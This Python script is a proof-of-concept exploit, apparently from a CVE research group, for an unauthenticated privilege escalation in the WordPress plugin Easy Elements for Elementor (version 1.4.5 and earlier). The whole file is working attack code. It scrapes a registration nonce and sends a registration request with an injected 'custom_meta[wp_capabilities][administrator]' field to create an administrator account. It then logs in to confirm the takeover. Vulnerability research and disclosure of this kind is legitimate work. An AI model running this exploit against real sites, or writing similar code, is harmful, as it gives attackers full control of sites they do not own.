# ==========================================================================
# Atomic Edge CVE Research | https://atomicedge.io
# CVE-2026-9018 - Easy Elements for Elementor <= 1.4.5
# Unauthenticated Privilege Escalation via 'custom_meta' Parameter
#
# LEGAL DISCLAIMER:
# For authorized security testing and educational purposes ONLY.
# Unauthorized use is prohibited and may violate applicable laws.
# You are solely responsible for compliance with applicable laws.
# ==========================================================================
import requests
import argparse
import sys
import re
import json
from urllib.parse import urljoin
BANNER = r"""
╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-9018 | Easy Elements for Elementor <= 1.4.5 ║
║ Unauthenticated Privilege Escalation via custom_meta ║
║ Atomic Edge CVE Research | atomicedge.io ║
╚══════════════════════════════════════════════════════════════╝
"""
AJAX_PATH = "/wp-admin/admin-ajax.php"
ACTION = "eel_register"
NONCE_ID = "easy_elements_nonce"
def fetch_nonce(session: requests.Session, target: str, nonce_page: str, verify_ssl: bool) -> str | None:
url = urljoin(target, nonce_page)
print(f"[*] Fetching nonce from: {url}")
try:
resp = session.get(url, verify=verify_ssl, timeout=15)
resp.raise_for_status()
except requests.exceptions.RequestException as e:
print(f"[-] Failed to fetch nonce page: {e}")
return None
# Match:
patterns = [
r']*id=["\']easy_elements_nonce["\'][^>]*value=["\']([^"\']+)["\']',
r']*value=["\']([^"\']+)["\'][^>]*id=["\']easy_elements_nonce["\']',
r'"easy_elements_nonce"\s*:\s*"([^"]+)"',
r"'easy_elements_nonce'\s*:\s*'([^']+)'",
]
for pattern in patterns:
match = re.search(pattern, resp.text, re.IGNORECASE)
if match:
nonce = match.group(1)
print(f"[+] Nonce found: {nonce}")
return nonce
print("[-] Nonce not found. Ensure the Login/Register widget is present on the target page.")
print(f" Try specifying a different page with --nonce-page (e.g., /login/ or /register/)")
return None
def escalate_privileges(
session: requests.Session,
target: str,
nonce: str,
username: str,
email: str,
password: str,
verify_ssl: bool,
) -> bool:
url = urljoin(target, AJAX_PATH)
# Malicious payload: overwrite wp_capabilities with administrator role
data = {
"action": ACTION,
"easy_elements_nonce": nonce,
"username": username,
"email": email,
"password": password,
"custom_meta[wp_capabilities][administrator]": "1",
}
print(f"\n[*] Sending privilege escalation payload to: {url}")
print(f"[*] Username : {username}")
print(f"[*] Email : {email}")
print(f"[*] Role : administrator (via wp_capabilities override)\n")
try:
resp = session.post(url, data=data, verify=verify_ssl, timeout=15)
print(f"[+] HTTP Status : {resp.status_code}")
print(f"[+] Response : {resp.text[:400]}\n")
try:
decoded = resp.json()
if decoded.get("success") is True:
return True
else:
print(f"[!] Server returned success=false. Message: {decoded.get('data', 'N/A')}")
return False
except json.JSONDecodeError:
# Non-JSON response — check HTTP status as fallback
return resp.status_code == 200
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {e}")
return False
def verify_admin(target: str, username: str, password: str, verify_ssl: bool) -> None:
login_url = urljoin(target, "/wp-login.php")
print(f"[*] Verifying admin access at: {login_url}")
session = requests.Session()
data = {
"log": username,
"pwd": password,
"wp-submit": "Log In",
"redirect_to": "/wp-admin/",
"testcookie": "1",
}
try:
resp = session.post(login_url, data=data, verify=verify_ssl,
allow_redirects=True, timeout=15)
if "/wp-admin/" in resp.url or "Dashboard" in resp.text:
print(f"[✓] Admin login CONFIRMED!\n")
print(f" ┌─────────────────────────────────────────┐")
print(f" │ WP Admin : {urljoin(target, '/wp-admin/')}")
print(f" │ Username : {username}")
print(f" │ Password : {password}")
print(f" └─────────────────────────────────────────┘")
else:
print(f"[-] Login verification inconclusive (HTTP {resp.status_code}).")
print(f" Try logging in manually at: {login_url}")
except requests.exceptions.RequestException as e:
print(f"[-] Verification request failed: {e}")
def main():
print(BANNER)
parser = argparse.ArgumentParser(
description="CVE-2026-9018 - Easy Elements for Elementor <= 1.4.5 Privilege Escalation PoC"
)
parser.add_argument("-u", "--url", required=True,
help="Target WordPress site URL (e.g. https://example.com)")
parser.add_argument("-U", "--username", default="atomic_admin",
help="Username for the new admin account (default: atomic_admin)")
parser.add_argument("-e", "--email", default="admin@atomicedge.io",
help="Email for the new admin account")
parser.add_argument("-p", "--password", default="Atomic@Edge2026!",
help="Password for the new admin account")
parser.add_argument("-np", "--nonce-page", default="/",
help="Page path containing the Login/Register widget (default: /)")
parser.add_argument("--no-verify", action="store_true",
help="Disable SSL certificate verification")
parser.add_argument("--skip-verify-login", action="store_true",
help="Skip post-exploit admin login verification")
args = parser.parse_args()
target = args.url.rstrip("/")
verify_ssl = not args.no_verify
session = requests.Session()
session.headers.update({
"User-Agent": "Mozilla/5.0 (compatible; AtomicEdge-Research/1.0)",
})
# Step 1: Fetch nonce
nonce = fetch_nonce(session, target, args.nonce_page, verify_ssl)
if not nonce:
sys.exit(1)
# Step 2: Privilege escalation
success = escalate_privileges(
session, target, nonce,
args.username, args.email, args.password,
verify_ssl,
)
if success:
print("[✓] Privilege escalation payload accepted!\n")
if not args.skip_verify_login:
verify_admin(target, args.username, args.password, verify_ssl)
else:
print("[-] Exploit may have failed. Check prerequisites:")
print(" • User registration must be enabled on the site")
print(" • Login/Register widget must be published on a page")
print(" • Try --nonce-page /login/ or /register/")
sys.exit(1)
if __name__ == "__main__":
main()